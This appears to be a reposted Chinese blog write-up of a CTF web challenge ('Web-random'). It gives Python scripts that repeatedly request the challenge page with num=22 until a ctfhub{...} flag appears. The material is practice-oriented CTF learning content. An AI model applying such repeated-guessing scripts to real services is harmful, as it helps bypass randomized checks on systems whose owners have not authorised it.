博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
CTF_EXP04:2017 赛客夏令营 Web-random
阅读量:2036 次
发布时间:2019-04-28

本文共 2348 字,大约阅读时间需要 7 分钟。

CTF_EXP04:2017 赛客夏令营 Web-random

创建环境,启动靶机:

在这里插入图片描述

根据题目名称与页面提示,判断此题为随机验证下一个数字的值
看到题目链接:

http://xxx.ctfhub.com:10080/index.php?num=1

其通过GET方式传递参数num

编写Python脚本:

import requestsimport reurl = 'http://xxx/index.php?num=22'while True:    try:        r = requests.get(url)        # 匹配平台flag格式        flag = re.search(r'ctfhub\{.+\}', r.text).group()    except AttributeError:        print('未获取到flag! 正在重试!')    else:        print(flag)        break

脚本解析:

无限循环提交请求,直到页面中存在以ctfhub{}格式的flag跳出循环。

运行脚本得到flag

在这里插入图片描述

也可手动刷新页面,直到出现flag

EXP如下:

# -*- coding:utf-8 -*-# name: Meng# mail: 614886708@qq.com# ctf_exp04:2017 赛客夏令营 Web-randomimport requestsimport reclass RandomNum:    def __init__(self, url_input):        self.data = {
'num': '22'} # 设置随机传参值为22 self.status_code = 1 # 链接状态:0:无效,1:连通 self.url = url_input self.flag = '' def url_test(self): # 可以重复输错10次链接 for i in range(9): try: # 对输入的url做补全 if self.url.endswith('index.php') or self.url.endswith('index.php/'): pass elif self.url.endswith('/'): self.url += 'index.php' else: self.url += '/index.php' # 尝试访问链接是否200 requests.get(self.url, params=self.data) except requests.exceptions.MissingSchema: print('无效链接!请重新输入!') self.url = input('请输入题目链接:') self.status_code = 0 else: self.status_code = 1 break if self.status_code == 0: print('无效链接!退出程序!') return def num_test(self): # 设置获取flag只能重复30次 for i in range(30): try: r = requests.get(self.url, params=self.data) # 匹配平台flag格式 self.flag = re.search(r'ctfhub\{.+\}', r.text).group() except: print('第 ' + str(i+1) + ' 次未获取到flag! 正在重试!') else: break def run(self): self.url_test() # 连接测试 self.num_test() # flag获取 if self.flag == '': print('已尝试30次!未获取到flag! 退出程序!') return self.flagif __name__ == '__main__': print('ctf_exp04: 2017 赛客夏令营 Web-random') url_input = input('请输入题目链接:') print(RandomNum(url_input).run()) input() # 防止退出cmd

输入题目链接,得到flag

在这里插入图片描述

转载地址:http://mcraf.baihongyu.com/

你可能感兴趣的文章
Android图片处理(Matrix,ColorMatrix)
查看>>
xcode import<xx/xx.h> 头文件报错
查看>>
各种开源协议License明细
查看>>
cmake命令 安装、用法简介
查看>>
Android数据库安全解决方案,使用SQLCipher进行加解密
查看>>
cocos2d-x 环境配置-Mac配置篇
查看>>
GoldWave用法简介
查看>>
cocos2d-x避免手动修改android.mk文件来编译
查看>>
XMPPFramewok的使用
查看>>
C++的XML编程经验――LIBXML2库使用指南
查看>>
ubuntu+ndk编译ffmpeg
查看>>
Mac上安装MySQL
查看>>
Mac上搭建openfire服务器
查看>>
如何使用TCP/IP与服务器进行通信-一个简单的聊天程序
查看>>
关于Objective-c和Java下DES加密保持一致的方式
查看>>
在 ios 下实现 DataOutputStream 和 DataInputStream
查看>>
Myeclipse 10 for mac 安装过程及myeclipse 10 for mac 破解版下载
查看>>
Mac上彻底删除openfire
查看>>
xcode 4 制作静态库详解
查看>>
XCode导入libxml2时报错
查看>>